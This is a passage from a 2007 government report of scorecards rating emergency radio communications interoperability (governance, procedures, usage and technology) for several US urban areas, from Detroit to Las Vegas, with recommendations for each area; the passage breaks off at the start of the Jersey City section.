Urban/Metropolitan Area A-48 January 2007 Tactical Interoperable Communications Scorecards Detroit, MI Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The Detroit Urban Area (UA) includes the City of Detroit and the Counties of Macomb, Monroe, Oakland, St. Clair, Washtenaw, and Wayne. Governance: Intermediate Implementation 10% 10%15% 15% The Southeast Michigan regional Interoperability Communications Committee was recently established to address specific communications interoperability in the UA. After initially coming together to develop the Tactical Interoperable Communications Plan (TICP), the group was formalized in October 2006 and began regularly meeting in November 2006. The UA is making an effort to prioritize interoperable communications (e.g., developing and maintaining budgets and procuring communications equipment with consideration for interoperability) and has formal partnerships among organizations, but lacks formal, documented interoperability agreements outside of the TICP. Beyond the UA’s efforts in creating the TICP, the documentation does not indicate that a regional strategic plan focused on interoperable communications exists except in the early planning stages. Funding for interoperable communications is a high priority locally and organizations make their procurement decisions with consideration for regionwide interoperability. However, the majority of funding is based on federal grants and therefore does not address recurring costs for equipment operations, maintenance, and improvements. The Communications Committee must have the ability to work with high-level leadership who would be able to provide continued fiscal and political support for interoperable communications throughout the UA. Recommendations: • Continue to meet regularly, include all agencies participating in public safety efforts in the UA, and define roles and responsibilities • Document and formalize the necessary agreements (e.g., memoranda of understanding), including local, state, and federal partnerships, to achieve regional communications interoperability goals • Develop a strategic plan with long-term interoperability goals (beyond the operational focus of the TICP), with participant approval, adoption, and acceptance • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years) interoperability planning and sustainable funding • Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically advocate for and focus on communications interoperability issues; consider establishing a direct line of communication among local and state agencies to promote consensus advocacy Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Detroit UA incorporated several pre-existing individual county SOPs into the regional TICP. In addition to using existing county SOPs, the UA (through the TICP process) attempted to develop more comprehensive policies to address regional communications interoperability issues. However, the TICP Peer Review voiced a concern that the TICP’s focus was “primarily on local and individual systems’ operational 10% 10%15% 15% 10% 10%15% 15% 10% 10%15% 15% Urban/Metropolitan Area A-49 January 2007 Tactical Interoperable Communications Scorecards procedures and not on regional authority or usage prioritization” and recommended that “[t]he site should consider moving towards consolidation of [regional] procedures.” The Detroit UA has not yet distributed the newly created regional SOPs to all public safety agencies in the UA, although they did participate in a TICP Workshop in preparation for their validation exercise. The Detroit UA is in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS), which implies that the UA is still in the earlier stages of implementing NIMS/ICS policies and procedures. Recommendations: • Review and update SOPs to ensure consistency with regional and statewide interoperability planning and implementation efforts • Develop, disseminate, and train on regional communications interoperability SOPs (beyond the TICP Implementation Workshop) • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% Agencies within the Detroit UA were able to achieve communications interoperability adequately within the area through their existing communications solutions (e.g., radio cache, shared system). Although the Detroit officials indicated that interoperable communications equipment resources (e.g., radio cache, gateways) were used infrequently, the TICP validation exercise and After Action Report noted that users possessed the knowledge and skills to effectively employ the communications interoperability equipment. During the TICP validation exercise, the UA encountered repeated problems attempting to use gateways (e.g., gateways could not be activated at Wayne County Emergency Operations Center or the Mobile Command Center). Additional steps, including regular training and exercise on available resources (such as gateways), would be beneficial in achieving multijurisdictional communications interoperability. Recommendations: • Regularly test and exercise deployment of regional interoperability resources to improve proficiency (e.g., gateways) • Involve additional local, state, and federal agencies in training and exercises • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Detroit UA has multiple very high frequency (VHF), ultra high frequency (UHF), and 800 megahertz (MHz) radio systems operating in analog and digital modes. Communications interoperability is achieved through cached radios, enabling mobile and fixed gateways (including Codespear Smart Msg equipment) and shared channels, including those provided by the National Public Safety Policy Advisory Committee (NPSPAC) and the Michigan Public Safety Communication System (MPSCS). Various agencies have access to the MPSCS 800 MHz digital trunked radios for command and control during multi-agency incidents. The UA will use the shared channels on MPSCS and NPSPAC and other VHF and UHF mutual aid channels and gateways to increase interoperability. Urban/Metropolitan Area A-50 January 2007 Tactical Interoperable Communications Scorecards Twin Cities, MN Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation In Minnesota, the “Twin Cities” have been designated as the state’s Urban Area (UA). The Twin Cities are St. Paul and Minneapolis, but the UA has been designated to include all the cities, townships, and political subdivisions within and including the counties of Dakota, Hennepin, and Ramsey. Governance: Advanced Implementation The Urban Area Administrative Council oversees the Communications Subcommittee, which includes local, state, and federal representatives (e.g., Metropolitan Council, Department of Transportation, National Guard) and proactively recruits involvement by additional public safety organizations. The Twin Cities have a strategic plan for interoperable communications that has been accepted by the participating organizations. Interoperable communications funding requirements are defined in the regional strategic plan, and through a variety of local resources (e.g., 9-1-1 surcharge and seatbelt fines), organizations within the Twin Cities UA procure equipment and develop budgets according to these strategic goals. The identification of interoperable communications goals and this diversification of funding sources to support them demonstrates strong commitment to sustainable interoperability. The UA’s leadership support these governance efforts and serves as an interoperability advocate to ensure long-term political and fiscal support for continued regional interoperability success. Recommendation: • Clarify that a process exists to review agreements (e.g., memoranda of understanding) and the strategic plan on a regular basis or after significant events or upgrades to ensure alignment with current interoperable communications needs Standard Operating Procedures (SOP): Advanced Implementation The Twin Cities incorporated existing interoperable communications SOPs (regional policies and procedures were created in 1986) in creating the Tactical Interoperable Communications Plan (TICP). Since these SOPs were already well established and used frequently, the public safety agencies in the UA were well positioned to adopt the TICP. In addition to widely disseminating these SOPs to the agencies in UA, the area is planning a large-scale Communications Center Manager training event. The incorporation of legacy interoperable communications SOPs into the area’s current operating procedures and the significant level of training on the SOPs for first responders in the area is commendable and should be considered a best practice. Additionally, according to evaluators, “participants as a whole demonstrated a fairly solid understanding of the SOPs outlined in the TICP” during the exercise. The area implemented National Incident Management System (NIMS)/Incident Command System (ICS) more than 1 year ago, which indicates that the agencies have spent some time aligning their prior command and control procedures to be NIMS compliant. Although the participants experienced a few minor problems with command and control communications (e.g., naming conventions, initial unified command announcement), they demonstrated familiarity with the processes as noted in their exercise evaluations. Officials in the area reported that they Urban/Metropolitan Area A-51 January 2007 Tactical Interoperable Communications Scorecards are committed to continuing NIMS/ICS training and further implementation of the interoperable communications processes. Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The Twin Cities report frequent use of their available means of interoperable communications (e.g., cache radios, gateways, shared channels, shared systems). During the TICP validation exercise, participants were able to successfully establish interoperable communications among first responders and regional responders (e.g., Mall of America Security, Minnesota Department of Public Safety). They demonstrated proficiency in use of cache radios, gateways, shared channels, and shared systems. As noted by evaluators during the exercise, the “Twin Cities demonstrated a broad and largely effective use of interagency communications capabilities.” As further illustration of the UA’s demonstrated familiarity with communications interoperability solutions, in a October 2006 real-world hazardous materials incident in the UA, over 100 local, state, and federal response agencies were able to coordinate efforts to an impressive degree. Recommendation: • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The City of Minneapolis and Hennepin County agencies currently operate on the Allied Radio Matrix for Emergency Response (ARMER) systems. The ARMER systems include an 800 megahertz (MHz) digital trunked system, a very high frequency (VHF) system, and an ultra high frequency (UHF) system. The City of St. Paul, Dakota County, and Ramsey County operate on various 800 MHz, VHF, and UHF systems. Interoperability is achieved using shared radios, gateways, console patches, and shared channels (e.g., ARMER 800 MHz, VHF, UHF, and National Public Safety Planning Advisory Committee 800 MHz frequencies). Ramsey County includes the City of St. Paul and is currently migrating to the ARMER radio system. Dakota County will migrate to the ARMER system in 2007. In addition, the metropolitan area, consisting of nine counties and including the three UA counties, is developing a 700 MHz wideband data interoperability solution. Urban/Metropolitan Area A-52 January 2007 Tactical Interoperable Communications Scorecards Kansas City, MO Tactical Interoperable Communications Scorecard Sum Sum Sum Summary mary mary mary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Kansas City Urban Area (UA) includes 8 counties and more than 100 cities. The eight counties are Jackson, Platte, Cass, Clay, and Ray in Missouri; and Johnson, Leavenworth, and Wyandotte in Kansas. Governance: Established Implementation 15% 20% 20% 20% Faced with disparate infrastructure within the area and across the state border, the Kansas City UA has developed a strong governance structure to address communications interoperability challenges. The Regional Interoperability Committee (RIC) provides advice and guidance to the Public Safety Communications Board (PSCB), which has responsibility for coordinating communications interoperability. While the PSCB is a formalized group, interoperability agreements among included agencies are generally informal. The UA indicated that memoranda of understanding (MOU) have been developed and distributed, but some agencies have not yet signed them. The Kansas City UA five- year strategic plan that includes strategic interoperable communications efforts has been accepted by the Regional Homeland Security Coordinating Committee representing the region’s first responder agencies, and a process has been established to annually review the plan. Kansas City officials indicated that they are working together to pursue regional funding, specifically for the implementation of the regional interoperable communications plan including regional voice and data communications. The region has designated portions of Urban Area Security Initiative and other federal grants to complete the first phase of the Regional Area Multi-Band Integrated System (RAMBIS), which will link the UA’s three communications bands. The documentation did not directly indicate whether communications interoperability efforts were driven by available grants or a long-term funding strategy that addresses lifecycle costs. Although elected officials, as well as public safety executives, are aware of interoperability issues, the UA needs to take proactive steps to ensure that interoperability continues to be a political and fiscal priority. Recommendations: • Ensure broader participation (e.g., involve federal and tribal agencies) in the decision-making group • Document, formalize, and put into practice the necessary interoperability agreements (e.g., MOUs), and reference all applicable agreements in the Tactical Interoperable Communications Plan (TICP) and store them in an accessible format • Ensure the participation of all possible regional responders in the strategic plan • Align local, state, and federal strategic planning efforts to ensure that regional interoperability needs are met • Incorporate regional interoperability funding strategy into strategic plan, such as considering funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts • Motivate broader acceptance of communications interoperability as both a political and fiscal priority for the UA and at the state level Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Kansas City UA’s TICP is built on existing SOPs, including discipline-specific mutual aid channel procedures that have been in place for a number of years. Kansas City officials indicated that the TICP provided a regionwide focus on communications interoperability SOPs. Since the SOPs were developed and finalized shortly before the TICP validation exercise, the UA has begun the process of disseminating these policies to the included agencies (e.g., distribute SOPs to dispatch centers, make gateway SOPs available with gateways). While some issues with SOPs (e.g., 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-53 January 2007 Tactical Interoperable Communications Scorecards did not include SOPs of major city agencies for mutual aid responses in their home area) were raised by evaluators during the TICP validation exercise, the use of the interoperable equipment was largely successful. Kansas City officials indicated that they were in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS). The use of NIMS for command and control, including the use of the Communications Unit Leader, was effective at the sites where it was required during the exercise. Recommendations: • Continue to standardize SOPs regionwide (e.g., activation procedures) • Disseminate the SOPs (beyond the TICP) to participating agencies • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Kansas City UA uses a number of different shared systems for multi-agency communications interoperability. Communications across these systems is achieved through the regular use of gateways and state and federal mutual aid channels. Successful tactical interoperable communications was observed among responders at each of the three TICP validation exercise sites. Some difficulties were encountered with the use of communications interoperability equipment, but in each case, personnel were able to overcome these problems. For example, when problems occurred in activating a gateway at one site, agencies used radio caches to achieve communications interoperability. In regards to shared channels, agencies were able to demonstrate familiarity with the use of mutual aid channels; however the After Action Report noted that “inconsistent naming conventions caused some confusion on the part of some of the regional first responders.” Building on the TICP validation exercise, future tests should consider testing users outside of their existing coverage area as well as bringing in additional state, federal, and support organizations. Recommendations: • Involve state and federal agencies in training and exercises • Plan and train for a regionwide event that will involve disparate systems with users working outside of their coverage area • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Kansas City UA has various 800 megahertz (MHz), 700 MHz, very high frequency (VHF) and ultra high frequency (UHF) radio communications systems throughout the UA. Communications interoperability is achieved through cached radios, gateways, shared channels, and shared systems. The Kansas City UA is planning to establish a multiband (800 MHz, 700 MHz, VHF, and UHF) regionwide radio communications system, called RAMBIS, to provide communications interoperability. The communications system’s infrastructure will operate in simulcast mode. The default configuration will allow the calling channels for 800 MHz, VHF, and UHF to be interconnected and act as crossband repeaters. Similarly, in the default configuration, channels designated TAC1 and TAC2 for all bands will be interconnected. Urban/Metropolitan Area A-54 January 2007 Tactical Interoperable Communications Scorecards St. Louis, MO Tactical Interoperable Communications Scorecard Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation The St. Louis Urban Area (UA) includes the following jurisdictions in Missouri: City and County of Saint Louis, Franklin County, Jefferson County, and Saint Charles County. The UA also includes the jurisdictions in Illinois: Saint Clair County, Madison County, and Monroe County. Governance: Intermediate Implementation 10% 10%15% 15% The St. Louis Area regional Response System (STARRS) was formed before the Tactical Interoperable Communications Plan (TICP) process and includes state and federal agencies; it also works to actively recruit new members throughout the UA. While STARRS appears well established with four subcommittees (technical, channel programming, training and exercises, and planning/TICP), steps should be taken to formalize the group’s authority and influence through an official charter. Currently, individual organizations develop and maintain their own budgets and procure communications equipment based on agency-specific needs for day-to-day communications interoperability requirements. It appears that the jurisdictions may be jointly funding some interoperability requirements (e.g., specialty teams, task force), but the documentation does not indicate whether the UA is working toward a long-term funding plan based on regional interoperable communications needs. The majority of the current funding is through grants. The UA is in the process of developing an interoperability strategic plan (beyond the operational focus of the TICP), but it is not yet completed. Although the specific documentation put forth in the TICP process did not reference a specific working partnership across the entire UA (e.g., Missouri and Illinois), officials in the UA report that a healthy, cooperative environment is in place to address multistate planning. Recommendations: • Consider publishing a charter for the STARRS group • Review agreements (e.g., memoranda of understanding) every 3 to 5 years and after significant events or system upgrades • Encourage planning and development of a strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance; align local and state strategic planning efforts to ensure that regional interoperability needs are met • Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years) interoperability planning and sustainable funding • Consider the direct involvement of a high-level official (e.g., mayor, city council member) with political and fiscal authority to specifically focus on interoperability Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The St. Louis UA has communications equipment policies and procedures in place that were developed by the State Interoperability Executive Committee, as well as the Department of Justice (DoJ) 25 Cities project. 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-55 January 2007 Tactical Interoperable Communications Scorecards These policies and procedures were used as the basis to create the TICP. Although the St. Louis UA distributed SOPs during its TICP Implementation Workshop, further steps should be taken to disseminate the regional communications interoperability policies and procedures to all public safety agencies. The St. Louis UA has been practicing the interoperable communications aspects required by the National Incident Management System (NIMS)/Incident Command System (ICS) for more than 1 year; however, the agencies experienced some command and control problems during the TICP validation exercise (e.g., multiple command posts, improperly identified Communications Unit Leader). Recommendations: • Distribute regional communications interoperability SOPs (beyond the TICP Implementation Workshop) to all stakeholders and ensure that SOPs are consistent with regional, statewide, and interstate communications interoperability planning efforts • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The St. Louis UA appears to be capable of employing interoperable communications capabilities in the area (e.g., radio caches, shared channels, gateways, shared systems). According to the After Action Report, the UA’s “local and regional first responders on the scene were able to communicate effectively.” During the TICP validation exercise, however, there were difficulties in executing some of these capabilities. For example, the participants misused shared channels assigned for other functions and the incident command resorted to using cellular telephones to communicate. Additionally, the participants were not able to establish a gateway patch because of an audio level issue that was not able to be resolved. Recommendations: • Expand methods of interoperability for emergency communications (to include more than commercial services such as cellular telephones) • Regularly test and exercise the deployment of regional communications interoperability resources to improve proficiency of operations (e.g., radio cache, shared channels, mobile gateway) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The St. Louis UA is served by a mix of conventional very high frequency (VHF), ultra high frequency, and 800 megahertz (MHz) trunked systems. Approximately 80 percent of the users in the public safety sector operate in the VHF band. The County of St. Louis uses a conventional VHF system while the City of St. Louis operates an 800 MHz trunked system. St. Clair County is currently transitioning to a countywide Project 25-compliant, 800 MHz, trunked system. The most commonly used method of interoperability is sharing channels in the VHF band; however, some agencies use console patches. Three interoperable communications initiatives are currently underway in the St. Louis UA. The first is the deployment of a “network switch” in the city of St. Louis to connect disparate systems via gateways. The second initiative is to develop a high-capacity microwave backbone that will link all of the UA counties. The third initiative, under the DoJ 25 Cities project, is to create a permanent cross-banded system among shared VHF, UHF, and National Public Safety Policy Advisory Committee channels. Urban/Metropolitan Area A-56 January 2007 Tactical Interoperable Communications Scorecards National Capital Region Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation The National Capital Region (NCR) Urban Area (UA) includes the District of Columbia. It also includes the Virginia city of Alexandria; and the Virginia counties of Arlington, Fairfax, Loudoun, and Prince William; and the Maryland counties of Montgomery and Prince George's. Governance: Advanced Implementation Interoperability in the NCR UA is overseen by a hierarchy of formalized committees, headed by the Senior Policy Group at the executive level. The Washington Council of Governments’ Joint Police and Fire Communications Committee addresses specific technical and operational policies. Agreements among agencies are largely in place and are being compiled, and steps should be taken to ensure that these agreements are regularly reviewed. An established strategic plan for voice communications was developed and is currently being updated to incorporate wireless data communications, as well as to include additional state and federal agencies. The NCR UA has demonstrated success in using funding to address regional communications interoperability needs, most notably through the joint acquisition and implementation of a cache of 1,250 NCR radios. Given the sustained success of the UA in working together to attain interoperability assets through cooperated efforts, the area should consider the merits of documenting a regionwide funding strategy that comprehensively addresses regional interoperability fiscal needs for the next 3 to 5 years. Recommendations: • Investigate means to more formally involve federal agencies (in addition to communications working group membership) and define their roles and responsibilities • Establish and/or identify the UA’s systematic process to develop and review agreements (e.g., usage agreements, memoranda of understanding) at least every 3 to 5 years and after significant events or upgrades • Build on the UA’s success to support statewide interoperability throughout Virginia and Maryland Standard Operating Procedures (SOP): Advanced Implementation The policies for use of the NCR UA shared systems, as well as the Metropolitan Interoperability Radio System (MIRS) fixed gateway system and NCR radio cache, are long established and were effectively documented in Section 3 of the Tactical Interoperable Communications Plan (TICP). The UA used the TICP as an opportunity to enhance some of these policies and to disseminate them to all included agencies. The UA also undertook an aggressive effort to document communications assets in the area through the use of the CASM tool. National Incident Management System (NIMS)/Incident Command System (ICS) has been in place for more than 1 year and is proficiently used; particularly by the fire community. NIMS/ICS was effectively used during the TICP validation exercise, including a successful deployment of the Communications Unit and Communications Unit Leader (COML). The COML was able to efficiently deploy multi-agency resources and coordinated by radio and face-to-face with command and general staff. Urban/Metropolitan Area A-57 January 2007 Tactical Interoperable Communications Scorecards The area is committed to integrating the COML position into its response structure and officials have indicated that they hope to be actively involved in the development of this training curriculum. Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The NCR UA conducts multidiscipline and multijurisdictional communications across the area on a daily basis. The well-established use of their shared systems by primary first responders as well as proficiency of using MIRS and the regional radio cache for outside agencies was seamlessly demonstrated during the TICP validation exercise. The UA specifically verified that its personnel could achieve interoperable communications using fixed gateways with responders from Prince George’s County, which is the only county not currently using a 800 megahertz (MHz) system. Communication was also achieved with multiple state and federal agencies. Recommendation: • Consider adding communications interoperability as a component of all future exercises and include agencies outside of the defined UA Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The NCR UA has 25 separate communications systems in the area servicing public safety agencies in the District of Columbia, northern Virginia, and Maryland. The District of Columbia Fire and Emergency Medical Services, all of the suburban northern Virginia, and Maryland public safety agencies (except those in Prince George’s County, Maryland) are using separate but interconnected 800 MHz Motorola SmartZone™ systems. Regional interoperability is primarily achieved through the use of shared systems, fixed gateways, shared channels, talk groups, and cached radios. The fixed gateways interconnect the NCR Police Mutual Aid Radio System, the Fire Mutual Aid Radio System, and National Public Safety Policy Advisory Committee channels (known locally as the regional Interoperability Network System). Mobile gateways are only used on an incident-specific basis. The NCR UA anticipates migrating existing radio systems to a Project 25 (P25)-compliant system in the near future. Alexandria and Arlington, Virginia, are expected to upgrade their existing systems to become P25-compliant, and a new P25-compliant radio network will be deployed in Prince George’s County, Maryland. Other jurisdictions in the NCR UA will have to make similar upgrades in order to ensure effective communications are maintained throughout the area. In the long-term, the NCR UA is considering expanding to include the cities of Baltimore, Maryland, and Richmond, Virginia. The UA expansion will require extending the capabilities of regional radio systems and interoperability capabilities to these new areas. Urban/Metropolitan Area A-58 January 2007 Tactical Interoperable Communications Scorecards Omaha, NE Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation The Omaha Urban Area (UA) includes Douglas, Sarpy, and Washington counties located in eastern Nebraska. Governance: Intermediate Implementation 10% 10%15% 15% The Omaha UA appears to work very well together, although there are few formal and established processes. Agreements consist of a combination of formal and informal partnerships (e.g., Douglas County has an agreement with Washington County and its public utilities to use their system), and the governing body, as referenced in the Tactical Interoperable Communications Plan (TICP), does not appear to have formal state or federal participation. The TICP process has pointed out the need to have a strategic plan in place, and Omaha officials have begun this development process over the last year and a half. Regional leaders have made communications interoperability a funding priority by using general funds and bonds for equipment and operations and maintenance activities. Additionally, the UA maintains budgets and procures communications interoperability equipment taking interoperability across the tri-county area into consideration. The UA is encouraged to begin considering long-term funding strategies beyond the current bond initiative in order to achieve the area’s interoperability objectives. Recommendations: • Formalize state (i.e., Nebraska Emergency Management Agency) and federal participation (e.g., Federal Bureau of Investigation [FBI], Department of Defense) within the UA’s communications group(s) • Continue to meet regularly and proactively recruit new participants from additional agencies representing various levels of government and public support disciplines • Identify all necessary participants and establish regional agreements (e.g., memoranda of understanding), as appropriate • Encourage full development of the strategic plan and obtain acceptance from all participants • Consider enhancing regional communications interoperability funding strategy to include long-term (e.g., 3 to 5 years) funding sources (in addition to bonds and grants) Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The TICP provides the first regional communication SOPs for the Omaha UA and is built on the prior procedures that existed among some of the individual agencies. Although most agencies in the UA were represented in the TICP, few steps appear to have been taken to disseminate these policies. Although the shared system and console patch infrastructure has simplified interoperability policies (particularly if Sarpy joins the Douglas system), formal SOPs are still critical to successfully establish interoperable communications. The Omaha UA did not consistently demonstrate SOPs during the TICP validation exercise (e.g., deactivation of gateway patches did not follow TICP procedures). The Omaha UA is in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS). In the on-going efforts to integrate these command policies, Omaha UA had some problems with 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-59 January 2007 Tactical Interoperable Communications Scorecards NIMS/ICS during the TICP validation exercise (e.g., Incident Commander was not universally communicated to exercise participants, Communications Unit Leader was not announced over the radio). Recommendations: • Update the TICP to include After Action Report recommendations and to address SOP issues (i.e., activation/deactivation of gateways, radio cache tracking procedures, and shared channel usage) • Continue to establish and implement formal SOPs within the UA (outside of Douglas County) and distribute appropriately • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Interoperability solutions (e.g., shared channels, shared systems and gateways [console patches]) are used on a regular basis in the UA for drug task forces and mutual aid events. Omaha officials indicated that joint drug task forces occur among Sarpy, Douglas, and Washington counties, and shared channels are used to effectively provide interoperable communications. In carrying out the TICP validation exercise, the Omaha UA showed effective command and line-level communications across multiple local jurisdictions and disciplines (e.g., the Mobile Command Center successfully communicated using shared channels to both Washington and Sarpy Counties). However, some technical and procedural issues were encountered with multiple categories of interoperable equipment (e.g., radio labeling and programming issues that did not match the fleet map) that did not allow the area to seamlessly use all applicable types of interoperable communications assets. While the exercise met the stated requirements, it did not provide the opportunity to demonstrate interoperable communications with state and federal agencies (e.g., Nebraska Emergency Management Agency, FBI) in the area. The UA is encouraged to build on its local exercise success by further integrating state, federal and support agencies in future events. Recommendations: • Recommend additional training on how to use radios and available channels • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Omaha UA has two 800 megahertz trunked radio systems with 30 shared talk groups available for all public safety agencies. All public safety agencies in the UA are on these two systems. There are five conventional interoperable talk groups that are shared between the two systems. Sarpy County has its own system, while Washington County is using the Douglas County System, which meets the Project 25 (P25) compliance. There are multiple console patches and Raven fixed gateways for interoperability with ultra high frequency and both high- and low-band very high frequency systems. Regional communications systems are the accepted method of interoperability in this UA. The Douglas County P25 system is likely to be expanded into Pottawattamie County, Iowa. Sarpy County is planning to obtain funding to join the Douglas County P25 System or purchase its own communications system. The Douglas County System is upgrading to Motorola's new 7.x technology that will support integrated voice and data communications. Urban/Metropolitan Area A-60 January 2007 Tactical Interoperable Communications Scorecards Las Vegas, NV Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Advanced Implementation Usage: Established Implementation The Las Vegas Urban Area (UA) includes the City of Las Vegas, as well as jurisdictions within Clark County. Governance: Advanced Implementation The regional Communications Steering Committee has been in place for 20 years and has taken key steps toward communications interoperability since its formation (e.g., established processes for developing and formalizing memoranda of understanding). The Committee supports the Urban Area Working Group on communications issues, and oversaw the development of the Tactical Interoperable Communications Plan (TICP). There are a number of formal agreements among member agencies, and the area has been very effective in proactively including public support discipline, state, and federal agencies in the governance process (e.g., Committee recruitment from hotel and casino security chiefs association, area hospitals, school districts, bus drivers). The Las Vegas UA has an established strategic plan for interoperability that has been accepted by all necessary agencies and is regularly reviewed. The Las Vegas UA indicated that budgets were developed based on regional strategic goals and used a variety of funding sources, including operating accounts, subscriptions, and capital funds, as well as grants. Regional leaders, including the chairman of the Urban Area Working Group, have made interoperable communications a priority and are actively engaged in all aspects of interoperability. Recommendations: • Reference existing agreements in future communications plans (e.g., updated TICP or regional communications plans) • Align local and state strategic planning efforts to ensure that region wide interoperability needs are met Standard Operating Procedures (SOP): Advanced Implementation The Las Vegas UA has successfully developed and implemented local communications interoperability procedures prior to the development of the TICP (e.g., through Southern Nevada Area Communications Council [SNACC] efforts), and the SOPs have been fully incorporated into the TICP. The UA is also developing further regionwide communications interoperability SOPs to include agencies beyond first responders and communications interoperability assets not captured initially; and plans to incorporate these additional SOPs into an updated TICP. The Las Vegas UA should be commended for taking aggressive steps in disseminating these policies (e.g., providing to all agencies and dispatch center; storing applicable SOPs with radio caches and gateways). The TICP validation exercise demonstrated the successful use of all applicable communications interoperability SOPs developed for the UA (e.g., the activation and deactivation procedures for radio caches were accurately followed). The National Incident Management System (NIMS)/Incident Command System (ICS) has been implemented in the Las Vegas UA SOPs for more than a decade, and the successful use of these procedures (including the Communications Unit Leader [COML] position) were also fully demonstrated during the Las Vegas TICP validation exercise (e.g., a COML was designated and announced to all relevant personnel). 15% 20% 20% 20% Urban/Metropolitan Area A-61 January 2007 Tactical Interoperable Communications Scorecards Recommendations: • Update the TICP to include all available assets for interoperability (e.g., Federal Bureau of Investigation and University of Nevada Las Vegas gateways) • Ensure that regional interoperability SOPs (beyond the TICP) are fully developed through a comprehensive interoperability plan beyond first responders (e.g., public health, hospitals) • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Las Vegas UA regularly uses three major shared systems to conduct multi-agency communications. Because these systems operate on disparate bands and technologies, shared channels and a fixed gateway are used on a daily basis to address multijurisdictional needs. Despite this regular use of interoperable solutions and effective demonstration of interoperable communications, some problems were encountered during the TICP validation exercise (e.g., the use of the command channel for tactical operations units; no gateway use demonstrated). These problems may have been a result of the limited scope of the TICP validation exercise, which did not necessitate the use of a gateway devise, despite the fact that this is a standard interoperability tool used in the UA. Recommendations: • Include gateways in future training and exercises to demonstrate proficiency • Consider including additional state and federal agencies (e.g., Department of Energy) in future exercises and day-to-day use • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Las Vegas UA consists of three primary communication systems that most of the agencies in the UA use. The SNACC 800 megahertz (MHz) trunked system operates throughout Clark County supporting most of the city and county agencies. The Las Vegas Police Department (LVPD) uses a conventional very high frequency (VHF) system called the METRO system. The METRO system uses crossband repeaters to link mutual aid channels VHF VTAC to 800 MHz ITAC and VHF VCALL to 800 MHz ICALL within the UA. State agencies and Nevada Power primarily use an 800 MHz M/A-COM Enhanced Digital Access Communications System ProVoice system that serves the majority of the state. There are also separate systems that cities such as North Las Vegas and Boulder Junction primarily use. The LVPD recently awarded a contract to M/A-COM to deploy a 700/800 MHz OpenSky communication system for support of the agency’s voice and data needs. Because the statewide system is also a M/A-COM product, the LVPD will be able to share communications interoperability with state users. Urban/Metropolitan Area A-62 January 2007 Tactical Interoperable Communications Scorecards Jersey City, NJ Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Jersey City/Newark Urban Area (UA) is a combination of two formerly separate UAs—Jersey City UA and Newark UA. The newly combined UA includes the cities of Newark and Jersey City, and the counties of Essex, Hudson, Bergen, Morris, Passaic, and Union. Governance: Established Implementation 15% 20% 20% 20% The Jersey City/Newark 